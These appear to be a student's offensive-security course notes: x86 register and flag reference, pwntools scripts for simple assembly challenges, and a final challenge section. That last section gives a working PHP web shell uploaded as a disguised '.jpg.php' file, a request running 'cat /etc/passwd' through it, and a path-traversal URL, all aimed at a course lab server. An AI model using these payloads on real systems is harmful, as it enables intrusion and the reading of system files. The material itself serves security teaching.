OffSec
Reverse Engineering
Resources
- godbolt.org
- dogbolt.org
General Purpose Registers (GPR)
- AX → Storage for arithmetic operations
- CX → Shift/rotate & loops instructions to keep track of cycles
- DX → Arithmetic & I/O operations but also general storage
- BX → Pointer to data (located in segment register DS, when in segmented mode)
- SP → Pointer to the top of the stack. The address held in SP is the RAM address where the last byte was stored by a stack operation. When data is placed on the stack, SP increments & as the data is retrieved from the stack, SP decrements. You should NOT modify this.
- BP → Locates parameters passed via the stack & more
- SI → Pointer to a source in string/stream operations
- DI → Pointer to a destination in string/stream operations
- 16 bit → See the list above
- 32 bit → Names in the list above are prefixed with an "E" like "EAX"
- 64 bit → "E" is replaced with an "R" like in "RAX"
- EAX is the full 32 bit value
- AX is the lower 16-bits
- AL is the lower 8 bits
- AH is the bits 8 through 15
Segment Registers
- Memory is divided into sections: code segment, stack segment, data segment, etc.
- SS → Pointer to the stack
- CS → Pointer to the code
- DS → Pointer to the data
- ES → Pointer to extra data
- FS → Pointer to more extra data
- GS → Pointer to still more extra data
Flag Registers
- OF → On if arithmetic overflow has happened
- IOPL → I/O Privilege Level of the current process
- NT → On if the current process is linked to the next one
- RF → Turns some debug exceptions off to allow debugging
- VM → On to allow real mode applications to run in protected mode (80386 behaving like a faster 8086)
- AC → On if alignment checking of memory references is done
- VIF → If on with VIP then OS will service deferred interrupts
- VIP → On if an interrupt in pending
- ID → Support for CPUID instruction if can be set
Memory Addressing
- In x86 architecture, the value A3A2A1A0 is represented as A0A1A2A3.
General Purpose Registers
- Instruction Pointer:
- The Instruction Pointer is a register that contains the address of the next instruction to be executed by the CPU. It is also called the Program Counter.
- EAX or RAX:
- This is the Accumulator Register. Results of arithmetic operations are often stored in this register.
- In 32-bit systems, a 32-bit EAX register is present, while a 64-bit RAX register is present in 64-bit systems.
- The last 16 bits of this register can be accessed by addressing AX.
- Similarly, it can also be addressed in 8 bits by using AL for the lower 8 bits and AH for the higher 8 bits.
- EBX or RBX:
- This register is also called the Base Register, which is often used to store the Base address for referencing an offset.
- Similar to the EAX/RAX, it can be addressed as 64-bit RBX, 32-bit EBX, 16-bit BX, and 8-bit BH and BL registers.
- ECX or RCX:
- This register is also called the Counter Register and is often used in counting operations such as loops, etc.
- Similar to the above two registers, it can be addressed as 64-bit RCX, 32-bit ECX, 16-bit CX, and 8-bit CH and CL registers.
- EDX or RDX:
- This register is also called the Data Register.
- It is often used in multiplication/division operations.
- Similar to the above registers, it can be addressed as 64-bit RDX, 32-bit EDX, 16-bit DX, and 8-bit DH and DL registers.
- ESP or RSP:
- This register is called the Stack Pointer.
- It points to the top of the stack and is used in conjunction with the Stack Segment register.
- It is a 32-bit register called ESP in 32-bit systems and a 64-bit register called RSP in 64-bit systems.
- It can not be addressed as smaller registers.
- EBP or RBP:
- This register is called the Base Pointer. It is used to access parameters passed by the stack.
- It is also used in conjunction with the Stack Segment register. It is a 32-bit register called EBP in 32-bit systems and a 64-bit register called RBP in 64-bit systems.
- ESI or RSI:
- This register is called the Source Index register.
- It is used for string operations. It is used with the Data Segment (DS) register as an offset.
- It is a 32-bit register called ESI in 32-bit systems and a 64-bit register called RSI in 64-bit systems.
- EDI or RDI:
- This register is called the Destination Index register.
- It is also used for string operations. It is used with the Extra Segment (ES) register as an offset.
- It is a 32-bit register called EDI in 32-bit systems and a 64-bit register called RDI in 64-bit systems.
- R8-R15:
- These 64-bit general-purpose registers are not present in 32-bit systems.
- They were introduced in the 64-bit systems.
- They are also addressable in 32-bit, 16-bit, and 8-bit modes.
- For example, for the R8 register, we can use R8D for lower 32-bit addressing, R8W for lower 16-bit addressing, and R8B for lower 8-bit addressing. Here, the suffix D stands for Double-word, W stands for Word, and B stands for Byte.
Status Flag Registers
- Zero Flag:
- Denoted by ZF, the Zero Flag indicates when the result of the last executed instruction was zero.
- For example, if an instruction is executed that subtracts a RAX from itself, the result will be 0. In this situation, the ZF will be set to 1.
- Carry Flag:
- Denoted by CF, the Carry Flag indicates when the last executed instruction resulted in a number too big or too small for the destination.
- For example, if we add 0xFFFFFFFF and 0x00000001 and store the result in a 32-bit register, the result will be too big for the register. In this case, CF will be set to 1.
- Sign Flag:
- The Sign Flag or SF indicates if the result of an operation is negative or the most significant bit is set to 1.
- If these conditions are met, the SF is set to 1; otherwise, it is set to 0.
- Trap Flag:
- The Trap Flag or TF indicates if the processor is in debugging mode.
- When the TF is set, the CPU will execute one instruction at a time for debugging purposes. This can be used by malware to identify if they are being run in a debugger.
Segment Registers
- Code Segment: The Code Segment (CS ) register points to the Code section in the memory.
- Data Segment: The Data Segment (DS) register points to the program's data section in the memory.
- Stack Segment: The Stack Segment (SS) register points to the program's Stack in the memory.
- Extra Segments (ES, FS, and GS): These extra segment registers point to different data sections. These and the DS register divide the program's memory into four distinct data sections.
Memory
- Code: contains the program's code
- This section refers to the text section in a Portable Executable file, which includes instructions executed by the CPU
- This section of the Memory has execute permissions, meaning that the CPU can execute the data in this section of the program memory.
- Data: The Data section contains initialized data that is not variable and remains constant.
- It refers to the data section in a Portable Executable file.
- It often contains Global variables and other data that are not supposed to change during the program's execution.
- Heap: Dynamic memory
- The heap, also known as dynamic Memory, contains variables and data created and destroyed during program execution.
- When a variable is created, memory is allocated for that variable at runtime. And when that variable is deleted, the memory is freed. Hence the name dynamic memory.
- Stack:
- The Stack is one of the important parts of the Memory from a malware analysis point of view.
- This section of the Memory contains local variables, arguments passed on to the program, and the return address of the parent process that called the program.
- Since the return address is related to the control flow of the CPU's instructions, the stack is often targeted by malware to hijack the control flow.
Static:
varX db 0x42
→ Declare a byte into the memory & initialize with 0x42varY dw 0x32 42
→ Declare a word into the memory & initialize with 0x42; 2 bytesvarZ dd 0x12 32 43 42
→ Declare a dword into the memory & initialize it; 4 bytesarray db 0x12, 0x32, 0x42
→ Declare an array of bytesarray2 db 0x12 dup(0x42)
→ Declare an array of 12 bytes & initialize them with 0x42str db "Hello World!", 0
→ Declare a string
Instructions
mov eax, 0x1
Concepts:
mov eax, 0x5f
→040000: b8 5f 00 00 00 mov eax, 0x5f
- the
040000:
corresponds to the address where the instruction is located. b8
refers to the opcode of the instructionmov eax
5F 00 00 00
indicates the other operand0x5f
- the
- MOV: mov instruction moves a value from one location to another:
mov destination, source
- LEA: load effective address:
lea destination, source
- lea instruction moves the address of the source into the destination
- NOP: nop instruction stands for no operation
- The nop instruction is used by malware authors when redirecting execution to their shellcode.
- The CPU uses shift instructions to shift each register bit to the adjacent bit.
- shr destination, count → Shift Right Operation
- shl destination, count → Shift Left Operation
Flags
Flag | Abbreviation | Explanation |
---|---|---|
Carry | CF | Set when a carry-out or borrow is required from the most significant bit in an arithmetic operation. Also used for bit-wise shifting operations. |
Parity | PF | Set if the least significant byte of the result contains an even number of 1 bits. |
Auxiliary | AF | Set if a carry-out or borrow is required from bit 3 to bit 4 in an arithmetic operation (BCD arithmetic). |
Zero | ZF | Set if the result of the operation is zero. |
Sign | SF | Set if the result of the operation is negative (i.e., the most significant bit is 1). |
Overflow | OF | Set if there's a signed arithmetic overflow (e.g., adding two positive numbers and getting a negative result or vice versa). |
Direction | DF | Determines the direction for string processing instructions. If DF=0, the string is processed forward; if DF=1, the string is processed backward. |
Interrupt Enable | IF | If set (1), it enables maskable hardware interrupts. If cleared (0), interrupts are disabled. |
Instructions
Instruction | Explanation |
---|---|
jz | Jump if the ZF is set (ZF=1). |
jnz | Jump if the ZF is not set (ZF=0). |
je | Jump if equal. Often used after a CMP instruction. |
jne | Jump if not equal. Often used after a CMP instruction. |
jg | Jump if the destination is greater than the source operand. Performs signed comparison and is often used after a CMP instruction. |
jl | Jump if the destination is lesser than the source operand. Performs signed comparison and is often used after a CMP instruction. |
jge | Jump if greater than or equal to. Jumps if the destination operand is greater than or equal to the source operand. Similar to the above instructions. |
jle | Jump if lesser than or equal to. Jumps if the destination operand is lesser than or equal to the source operand. Similar to the above instructions. |
ja | Jump if above. Similar to jg, but performs an unsigned comparison. |
jb | Jump if below. Similar to jl, but performs an unsigned comparison. |
jae | Jump if above or equal to. Similar to the above instructions. |
jbe | Jump if below or equal to. Similar to the above instructions. |
Challs
1. set-register
from pwn import *
binary_path = "/challenge/run"
# Create the shellcode for setting rdi to 0x1337
# Equivalent to: mov rdi, 0x1337
shellcode = asm('mov rdi, 0x1337', arch='amd64')
# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
# Receive and print the output from the binary
output = p.recvall()
print(output.decode())
2. set-multiple-registers
from pwn import *
binary_path = "/challenge/run"
# Create the shellcode for setting multiple registers
shellcode = asm('''
mov rax, 0x1337
mov r12, 0xCAFED00D1337BEEF
mov rsp, 0x31337
''', arch='amd64')
# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())
3. add-to-register
from pwn import *
binary_path = "/challenge/run"
# Create the shellcode for adding 0x331337 to rdi
shellcode = asm('add rdi, 0x331337', arch='amd64')
# Print the raw shellcode bytes (for verification/debugging)
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())
4. linear-equation-registers
from pwn import *
binary_path = "/challenge/run"
# Shellcode for calculating f(x) = mx + b
# imul rdi, rsi ; rdi = m * x
# add rdi, rdx ; rdi = (m * x) + b
# mov rax, rdi ; rax = rdi
shellcode = asm('''
imul rdi, rsi
add rdi, rdx
mov rax, rdi
''', arch='amd64')
# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())
5. integer-division
from pwn import *
binary_path = "/challenge/run"
# Shellcode for calculating speed = distance / time
# mov rax, rdi ; load rax with distance
# xor rdx, rdx ; clear rdx for the division operation
# div rsi ; divide rax by time, result in rax, remainder in rdx
shellcode = asm('''
mov rax, rdi
xor rdx, rdx
div rsi
''', arch='amd64')
# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())
6. modulo-operation
from pwn import *
binary_path = "/challenge/run"
# Shellcode for calculating rdi % rsi
# mov rax, rdi ; load rax with rdi
# xor rdx, rdx ; clear rdx for the division operation
# div rsi ; divide rax by rsi, result in rax, remainder in rdx
# mov rax, rdx ; move the remainder to rax
shellcode = asm('''
mov rax, rdi
xor rdx, rdx
div rsi
mov rax, rdx
''', arch='amd64')
# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())
7. set-upper-byte
from pwn import *
binary_path = "/challenge/run"
# Shellcode for calculating for setting the upper 8 bits of the ax register (ah) to 0x42
# mov ah, 0x42
shellcode = asm('mov ah, 0x42', arch='amd64')
# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())
8. efficient-modulo
from pwn import *
binary_path = "/challenge/run"
# Shellcode for calculating for computing the optimized modulo operation
# mov al, dil ; rax = rdi % 256
# mov bx, si ; rbx = rsi % 65536
shellcode = asm('''
mov al, dil
mov bx, si
''', arch='amd64')
# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())
9. byte-extraction
from pwn import *
binary_path = "/challenge/run"
# Create the shellcode to isolate the 5th least significant byte of rdi
# Equivalent to:
# mov rax, rdi ; load rdi into rax
# shr rax, 32 ; shift rax right by 32 bits (4 bytes) to bring the 5th byte to the lowest position
# shl rax, 56 ; shift rax left by 56 bits to clear out higher bits and isolate the 5th byte
# shr rax, 56 ; shift rax right by 56 bits to bring the isolated byte back to the least significant position
shellcode = asm('''
mov rax, rdi
shr rax, 32
shl rax, 56
shr rax, 56
''', arch='amd64')
# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())
10. bitwise-and
from pwn import *
binary_path = "/challenge/run"
# Create the shellcode for computing rax = rdi AND rsi
# Equivalent to:
# xor rax, rax ; clear rax
# or rax, rdi ; set rax equal to rdi
# and rax, rsi ; perform rax = rdi AND rsi
shellcode = asm('''
xor rax, rax
or rax, rdi
and rax, rsi
''', arch='amd64')
# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())
11. check-even
from pwn import *
binary_path = "/challenge/run"
# Create the shellcode for checking if x (rdi) is even or odd
shellcode = asm('''
xor rax, rax
and rdi, 1
xor rdi, 1
or rax, rdi
''', arch='amd64')
# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())
12. memory-read
from pwn import *
binary_path = "/challenge/run"
# Create the shellcode to move the value at address 0x404000 into rax
# Equivalent to:
# mov rax, [0x404000]
shellcode = asm('''
mov rax, [0x404000]
''', arch='amd64')
# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())
13. memory-write
from pwn import *
binary_path = "/challenge/run"
# Create the shellcode to move the value in rax to address 0x404000
# Equivalent to:
# mov [0x404000], rax
shellcode = asm('''
mov [0x404000], rax
''', arch='amd64')
# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())
14.memory-increment** **
from pwn import *
binary_path = "/challenge/run"
# Create the shellcode to:
# 1. Load the value at 0x404000 into rax
# 2. Increment the value at 0x404000 by 0x1337
# Equivalent to:
# mov rax, [0x404000] ; load the original value at 0x404000 into rax
# add qword ptr [0x404000], 0x1337 ; increment the value at 0x404000 by 0x1337
shellcode = asm('''
mov rax, [0x404000]
add qword ptr [0x404000], 0x1337
''', arch='amd64')
# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())
15. byte-access
from pwn import *
binary_path = "/challenge/run"
# Create the shellcode to move the byte at 0x404000 into al
# Equivalent to:
# mov al, [0x404000]
shellcode = asm('''
mov al, [0x404000]
''', arch='amd64')
# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())
16. memory-size-access
from pwn import *
binary_path = "/challenge/run"
# Create the shellcode to load values from 0x404000 into various registers at different sizes
# Equivalent to:
# mov al, [0x404000] ; load the byte into the lowest 8 bits of rax
# mov bx, [0x404000] ; load the word (16 bits) into rbx
# mov ecx, [0x404000] ; load the double word (32 bits) into rcx
# mov rdx, [0x404000] ; load the quad word (64 bits) into rdx
shellcode = asm('''
mov al, [0x404000]
mov bx, [0x404000]
mov ecx, [0x404000]
mov rdx, [0x404000]
''', arch='amd64')
# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())
17. little-endian-write
from pwn import *
binary_path = "/challenge/run"
# Create the shellcode to:
# 1. Set [rdi] = 0xdeadbeef00001337
# 2. Set [rsi] = 0xc0ffee0000
# Equivalent to:
# mov rax, 0xdeadbeef00001337 ; set rax to the value we want in [rdi]
# mov [rdi], rax ; store rax at the address pointed to by rdi
# mov rax, 0xc0ffee0000 ; set rax to the value we want in [rsi]
# mov [rsi], rax ; store rax at the address pointed to by rsi
shellcode = asm('''
mov rax, 0xdeadbeef00001337
mov [rdi], rax
mov rax, 0xc0ffee0000
mov [rsi], rax
''', arch='amd64')
# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())
18. memory-sum
from pwn import *
binary_path = "/challenge/run"
# Create the shellcode to:
# 1. Load the first quad word at [rdi] into rax
# 2. Load the second quad word at [rdi+8] into rbx
# 3. Add the values in rax and rbx
# 4. Store the sum at the address in rsi
shellcode = asm('''
mov rax, [rdi] # Load the first quad word from address in rdi into rax
mov rbx, [rdi + 8] # Load the second quad word from address (rdi + 8) into rbx
add rax, rbx # Calculate the sum of the two quad words
mov [rsi], rax # Store the sum at the address pointed to by rsi
''', arch='amd64')
# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())
19. stack-subtraction
from pwn import *
binary_path = "/challenge/run"
# Create the shellcode to:
# 1. Pop the top value from the stack into rax
# 2. Subtract rdi from rax
# 3. Push the result back onto the stack
shellcode = asm('''
pop rax
sub rax, rdi
push rax
''', arch='amd64')
# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())
20. swap-stack-values
from pwn import *
binary_path = "/challenge/run"
# Create the shellcode to:
# 1. Push rdi onto the stack
# 2. Push rsi onto the stack
# 3. Pop the top value (initially rsi) into rdi
# 4. Pop the next value (initially rdi) into rsi
shellcode = asm('''
push rdi
push rsi
pop rdi
pop rsi
''', arch='amd64')
# Print the raw shellcode bytes
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
output = p.recvall()
print(output.decode())
21. average-stack-values
from pwn import *
binary_path = "/challenge/run"
# Create the shellcode to:
# 1. Load the four quad words from the stack using rsp-relative addressing
# 2. Calculate their sum
# 3. Divide by 4 (using shift right to divide by powers of 2)
# 4. Push the average back onto the stack
shellcode = asm('''
mov rax, [rsp]
add rax, [rsp + 0x8]
add rax, [rsp + 0x10]
add rax, [rsp + 0x18]
shr rax, 2
push rax
''', arch='amd64')
# Print the raw shellcode bytes (for verification/debugging)
print("Generated shellcode:", shellcode.hex())
# Start the process and send the shellcode
p = process([binary_path])
p.send(shellcode)
# Receive and print the output from the binary
output = p.recvall()
print(output.decode())
22. absou
POST /upload.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Host: offsec-chalbroker.osiris.cyber.nyu.edu:1502
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------36051343254197511390225730065
Content-Length: 832
Origin: http://offsec-chalbroker.osiris.cyber.nyu.edu:1502
Referer: http://offsec-chalbroker.osiris.cyber.nyu.edu:1502/contact.php
Cookie: CHALBROKER_USER_ID=dsc7792
Priority: u=0
-----------------------------36051343254197511390225730065
Content-Disposition: form-data; name="name"
Dhanraj
-----------------------------36051343254197511390225730065
Content-Disposition: form-data; name="email"
dsc7792@nyu.edu
-----------------------------36051343254197511390225730065
Content-Disposition: form-data; name="uploadFile"; filename="XejSVXMpbz.jpg.php"
Content-Type: image/jpeg
ÿØÿà
<?php
$output = null;
$retval = null;
if(isset($_GET['cmd'])) {
// Capture the output and return value of the system command
exec($_GET['cmd'], $output, $retval);
}
// Output the captured output
if(is_array($output)) {
foreach($output as $line) {
echo $line . "\n";
}
}
?>
-----------------------------36051343254197511390225730065--
GET /profile_images/XejSVXMpbz.jpg.php?cmd=cat%20/etc/passwd HTTP/1.1
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Host: offsec-chalbroker.osiris.cyber.nyu.edu:1502
Cookie: CHALBROKER_USER_ID=dsc7792
http://offsec-chalbroker.osiris.cyber.nyu.edu:1501/?lang=....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd